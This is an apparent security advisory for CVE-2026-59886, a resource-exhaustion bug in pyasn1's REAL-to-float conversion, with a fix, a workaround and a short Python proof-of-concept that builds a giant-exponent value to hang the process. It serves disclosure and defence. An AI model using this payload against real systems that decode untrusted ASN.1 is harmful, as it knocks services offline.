high · 7.5CVE-2026-59886Jul 21, 2026

CVE-2026-59886: pyasn1 Uncontrolled Resource Consumption in Real Float Conversion

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A tiny ASN.1 REAL value carrying a huge base-10 exponent can freeze or crash any Python process that decodes untrusted ASN.1 data and then prints, logs, or compares the result.

Packagepyasn1
Ecosystempip
Affected<= 0.6.3
Fixed in0.6.4

The problem

pyasn1's univ.Real.__float__() converted base-10 REAL values by computing mantissa * (10 ** exponent) using Python's arbitrary-precision integer arithmetic. An exponent encoded in just a few BER bytes can be astronomically large (e.g. 2^31), forcing Python to attempt to materialize a number with billions of digits.

Any downstream operation that triggers float conversion is affected: str(), prettyPrint(), comparisons, arithmetic, and explicit float() calls. Applications that decode untrusted ASN.1 data and then log or compare decoded objects are exposed to denial of service.

Decoding alone does not trigger the hang.

Proof of concept

A working proof-of-concept for CVE-2026-59886 in pyasn1, with the exact payload below.

python
from pyasn1.type.univ import Real
from pyasn1.codec.ber import decoder, encoder

# Construct a Real with base 10 and a giant exponent.
# The (mantissa, base, exponent) triple is stored as-is during decode;
# the hang occurs the moment float conversion is triggered.
bomb = Real((1, 10, 2**31))   # represents 1 * 10^2147483648

# Any of the following lines will hang the process on pyasn1 <= 0.63:
print(bomb)          # calls prettyPrint() -> __float__()
float(bomb)          # direct conversion
bomb == 0            # comparison -> __float__()

# Can also be delivered as a BER-encoded wire payload:
raw = encoder.encode(Real((1, 10, 65535)))
asn1_obj, _ = decoder.decode(raw)  # decode is safe
float(asn1_obj)                    # THIS hangs

The root cause (CWE-400) is that Python's int exponentiation has no upper-bound guard. Computing 10 ** 2147483648 allocates roughly 900 MB of memory and runs for minutes before the OS kills the process, all triggered by a 6-byte encoded value.

The patch (commit e60c691) replaces the naive exponentiation path with math.ldexp() for base-2 values and adds an explicit range check for base-10 values before any big-integer math is attempted. Exponents outside the representable float range now raise OverflowError immediately, with no large integer ever constructed.

The fix

Upgrade to pyasn1 0.6.4. As a workaround, inspect the raw (mantissa, base, exponent) tuple directly (e.g. tuple(decoded_real)) instead of calling float(), str(), or prettyPrint() on decoded Real objects from untrusted sources.

Reported by gvozdila.

References: [1][2][3][4][5]

Related research